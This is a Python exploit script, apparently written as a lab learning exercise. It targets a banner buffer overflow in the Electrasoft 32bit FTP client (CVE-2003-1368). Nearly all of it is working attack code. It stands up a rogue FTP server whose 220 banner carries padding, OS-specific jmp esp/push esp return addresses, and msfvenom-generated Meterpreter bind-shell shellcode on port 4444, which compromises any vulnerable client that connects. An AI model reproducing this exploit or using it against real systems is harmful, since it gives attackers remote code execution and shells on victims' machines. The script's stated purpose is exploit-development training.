#!/usr/bin/python
# 
# Exploit Title: Electrasoft FTP Client Banner Buffer Overflow RCE
# Date: 01/23/16
# Exploit Author: @CTFKris https://ctf.rip
# Vendor Homepage: http://www.electrasoft.com/32ftpsx.exe
# Version: 07.08.08
# Tested on: Windows XP SP3, Windows 7 SP 1 (x86)
# CVE: CVE-2003-1368

#
# Produced just as a learning excercise. 
# Download vulnerable installer here: https://github.com/sourcekris/PTPv3/raw/master/lab1/32ftpsx.exe
# Requires pwntools: pip install pwntools
#
# Targets: 
# 1 - Windows XP SP3
# 2 - Windows 7 SP1 x86
#
# 
from pwn import *
import sys

if len(sys.argv) < 2: 
	print "Usage: %s <target>" % sys.argv[0]
	print "Targets: 1 = XP SP3, 2 = Win7 SP1 x86"
	quit()

buf = "A" * 989

if sys.argv[1] == '1':
	buf += p32(0x7c919db0)	# push esp; ret in ntdll.dll xpsp3
else:
	buf += p32(0x7775e871)	# jmp esp in ntdll.dll win7

# msfvenom -f py -b \x00\x0a\x0d -n 8 -p windows/meterpreter/bind_tcp LPORT=4444 EXITFUNC=seh
buf += "\x42\x90\xd6\x42\xfd\xfc\xfd\x49\xb8\xa2\x35\x7a\xa9"
buf += "\xda\xce\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1\x4b\x31\x43"
buf += "\x15\x03\x43\x15\x83\xeb\xfc\xe2\x57\xc9\x92\x2b\x97"
buf += "\x32\x63\x4c\x1e\xd7\x52\x4c\x44\x93\xc5\x7c\x0f\xf1"
buf += "\xe9\xf7\x5d\xe2\x7a\x75\x49\x05\xca\x30\xaf\x28\xcb"
buf += "\x69\x93\x2b\x4f\x70\xc7\x8b\x6e\xbb\x1a\xcd\xb7\xa6"
buf += "\xd6\x9f\x60\xac\x44\x30\x04\xf8\x54\xbb\x56\xec\xdc"
buf += "\x58\x2e\x0f\xcd\xce\x24\x56\xcd\xf1\xe9\xe2\x44\xea"
buf += "\xee\xcf\x1f\x81\xc5\xa4\x9e\x43\x14\x44\x0c\xaa\x98"
buf += "\xb7\x4d\xea\x1f\x28\x38\x02\x5c\xd5\x3a\xd1\x1e\x01"
buf += "\xcf\xc2\xb9\xc2\x77\x2f\x3b\x06\xe1\xa4\x37\xe3\x66"
buf += "\xe2\x5b\xf2\xab\x98\x60\x7f\x4a\x4f\xe1\x3b\x68\x4b"
buf += "\xa9\x98\x11\xca\x17\x4e\x2e\x0c\xf8\x2f\x8a\x46\x15"
buf += "\x3b\xa7\x04\x72\x88\x85\xb6\x82\x86\x9e\xc5\xb0\x09"
buf += "\x34\x42\xf9\xc2\x92\x95\xfe\xf8\x62\x09\x01\x03\x92"
buf += "\x03\xc6\x57\xc2\x3b\xef\xd7\x89\xbb\x10\x02\x27\xb7"
buf += "\xb7\xfd\x55\x3a\x2d\xff\xf3\xc7\xda\x15\x0c\x17\xfa"
buf += "\x15\xc7\x30\x93\xeb\xe7\x2f\x38\x65\x01\x25\xd0\x23"
buf += "\x9a\xd2\x12\x10\x13\x44\x6c\x72\xde\x4a\xe7\x25\xb7"
buf += "\x22\xbf\x3f\x0f\x4c\x40\x6a\x38\xda\xcb\x79\xfd\xfb"
buf += "\xcb\x57\x56\x6b\x5b\x2d\x36\xde\xfd\x32\x13\x8a\xfd"
buf += "\xa6\x9f\x1d\xa9\x5e\x9d\x78\x9d\xc0\x5e\xaf\x9d\x07"
buf += "\xa0\x2e\x8f\x7c\x96\xa4\x8f\xea\xd6\x28\x10\xeb\x80"
buf += "\x22\x10\x83\x74\x17\x43\xb6\x7b\x82\xf7\x6b\xe9\x2d"
buf += "\xae\xd8\xba\x45\x4c\x06\x8c\xc9\xaf\x6d\x8f\x0e\x4f"
buf += "\xf0\x88\xef\x93\x25\x50\x9a\xfa\xf5"
buf += "A" * (2000 - len(buf))

l = listen(21)
conn = l.wait_for_connection()
conn.sendline('220 ' + buf + '\r\n')
print "[*] Payload sent, your metasploit should be able to reach the bind shell within about 30 seconds."
conn.recv()

